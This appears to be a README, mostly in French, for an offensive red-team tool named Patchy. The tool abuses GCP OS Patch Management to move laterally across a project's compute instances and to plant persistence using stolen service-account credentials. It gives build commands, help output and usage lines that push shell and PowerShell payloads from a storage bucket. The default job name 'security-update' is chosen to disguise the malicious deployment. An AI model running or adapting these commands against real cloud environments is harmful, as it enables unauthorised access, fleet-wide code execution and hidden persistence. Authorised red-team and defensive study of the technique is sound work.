
Persistance automatisée et mouvement latéral à l'aide de GCP Patch Management
Mouvement latéral automatisé et persistance en abusant de la gestion des correctifs OS GCP, basé sur mon article de blog.
Patchy est composé de deux modes principaux : le mouvement latéral et la persistance. La persistance utilise des identifiants valides de compte de service pour créer un job ou un déploiement de correctifs. Le mouvement latéral tente d'obtenir l'accès à toutes les instances de calcul d'un projet. Pour être utilisé, il doit se trouver dans un environnement GCP avec l'API de métadonnées disponible. Le mouvement latéral dispose d'un mode qui permet de vérifier si l'exploitation est possible sans rien tenter d'agressif (bon pour voir si votre environnement est sécurisé).
Pour des suggestions de fonctionnalités, veuillez ouvrir une issue. En cas de problème, veuillez créer une PR avec votre correctif.
mkdir build;GOOS=windows GOARCH=amd64 go build -o build/patchy.exe ./cmd/patchy/*.go
mkdir build;GOOS=linux GOARCH=amd64 go build -o build/patchy ./cmd/patchy/*.go
Veuillez noter que cela nécessite >= go 1.19
$ ./patchy -h
d8888b. .d8b. d888888b .o88b. db db db db
88 `8D d8' `8b `~~88~~' d8P Y8 88 88 `8b d8'
88oodD' 88ooo88 88 8P 88ooo88 `8bd8'
88~~~ 88~~~88 88 8b 88~~~88 88
88 88 88 88 Y8b d8 88 88 88
88 YP YP YP `Y88P' YP YP YP
https://github.com/rek7/patchy
Patchy is a GCP exploitation tool designed for red teaming engagements.
Based on https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching
Usage:
patchy [flags]
patchy [command]
Available Commands:
completion Generate the autocompletion script for the specified shell
help Help about any command
lateral Performs automatic lateral movement within a GCP environment
persist enables persistence on compute instances owned by service account
Flags:
-b, --bucket string bucket name hosting payload
-h, --help help for patchy
-l, --lpayload string name of linux shell payload (default "payload.bash")
-p, --persist enable persistence (patch deployment) (default false)
-n, --pname string name of patch deployment/job (default "security-update")
-w, --wpayload string name of windows powershell payload (default "payload.ps1")
Use "patchy [command] --help" for more information about a command.
Exploitation de comptes de service dans un environnement GCP local, myBucket est le nom du bucket public hébergeant les payloads :
$ ./patchy -b myBucket lat -e
Installation de la persistance en utilisant un compte de service au format json :
$ ./patchy -b myBucket persist -c serviceAccount.json